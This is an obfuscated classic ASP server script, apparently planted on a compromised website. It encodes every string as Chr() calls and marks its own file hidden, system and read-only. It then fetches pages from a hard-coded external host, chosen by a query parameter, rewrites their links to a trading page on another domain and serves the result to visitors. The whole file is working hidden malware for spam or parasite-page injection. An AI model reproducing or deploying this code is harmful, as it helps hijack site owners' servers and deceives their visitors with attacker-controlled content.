<% Public IIII1I1I11III Public I111I1111I1I1 Public I111IIIIIIIII1,II1I111111,I11II11II1,I1II1I11III,I1111II1111I1,I11111II1IIIII,I1111IIIII1III Public III1III11II11 Set IIII1I1I11III = Server.CreateObject ( Chr ( 83 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 70 ) & Chr ( 105 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 83 ) & Chr ( 121 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 109 ) & Chr ( 79 ) & Chr ( 98 ) & Chr ( 106 ) & Chr ( 101 ) & Chr ( 99 ) & Chr ( 116 ) ) Set I111I1111I1I1 = IIII1I1I11III.GetFile ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 72 ) & Chr ( 95 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 65 ) & Chr ( 78 ) & Chr ( 83 ) & Chr ( 76 ) & Chr ( 65 ) & Chr ( 84 ) & Chr ( 69 ) & Chr ( 68 ) ) ) If I111I1111I1I1.attributes <> ( 68 * 8 - 505 ) Then I111I1111I1I1.attributes = ( 63 * 45 - 2796 ) End If Response.Write vbCrLf Server.ScriptTimeout = ( 44 * 64 - - 9997183 ) I11II11II1 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 119 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 119 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 112 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 101 ) & Chr ( 47 ) If Request.QueryString ( Chr ( 115 ) ) <> "" Then I1111IIIII1III = Request.QueryString ( Chr ( 115 ) ) I11II11II1 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 119 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 119 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 112 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 101 ) & Chr ( 47 ) & replace ( I1111IIIII1III , Chr ( 32 ) , Chr ( 45 ) ) End If I111IIIIIIIII1 = I1IIIII111I1 ( I11II11II1 ) I111IIIIIIIII1 = replace ( I111IIIIIIIII1 , Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 119 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 119 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 117 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 112 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 101 ) & Chr ( 47 ) , Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 108 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 119 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 119 ) & Chr ( 99 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 110 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 47 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 97 ) & Chr ( 100 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 46 ) & Chr ( 97 ) & Chr ( 115 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 115 ) & Chr ( 61 ) ) III1III11II11 = I111IIIIIIIII1 Response.Write "" & III1III11II11 & "" Response.End Response.Write vbCrLf Function I1IIIII111I1(I1III1I11111 ) Dim IIII1I1II1III IIII1I1II1III = I1I111III111I ( I1III1I11111 ) I1IIIII111I1 = IIII1I11111II ( IIII1I1II1III , Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 ) ) End Function Function II1I1I111III1(I111IIIIIIIII1,I11I111I1IIII1 ) II1I1I111III1 = InStr ( lcase ( I111IIIIIIIII1 ) , lcase ( I11I111I1IIII1 ) ) If II1I1I111III1 <= ( 53 * 86 - 4558 ) Then II1I1I111III1 = Len ( I111IIIIIIIII1 ) End Function Function I1I111III111I(I11II11II1 ) Dim I111I111I1I1I1 On Error Resume Next Set I111I111I1I1I1 = Server.CreateObject ( Chr ( 77 ) & Chr ( 105 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 111 ) & Chr ( 102 ) & Chr ( 116 ) & Chr ( 46 ) & Chr ( 88 ) & Chr ( 77 ) & Chr ( 76 ) & Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) ) With I111I111I1I1I1 .Open Chr ( 71 ) & Chr ( 101 ) & Chr ( 116 ) , I11II11II1 , False , "" , "" .Send I1I111III111I = .ResponseBody End With Set I111I111I1I1I1 = Nothing End Function Function IIII1I11111II(III1III11II11,I1I11III11111 ) Dim I111I11I11II Set I111I11I11II = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) I111I11I11II.Type = ( 57 * 92 - 5243 ) I111I11I11II.Mode = ( 87 * 30 - 2607 ) I111I11I11II.Open I111I11I11II.Write III1III11II11 I111I11I11II.Position = ( 19 * 67 - 1273 ) I111I11I11II.Type = ( 26 * 19 - 492 ) I111I11I11II.Charset = I1I11III11111 IIII1I11111II = I111I11I11II.ReadText I111I11I11II.Close Set I111I11I11II = Nothing End Function %>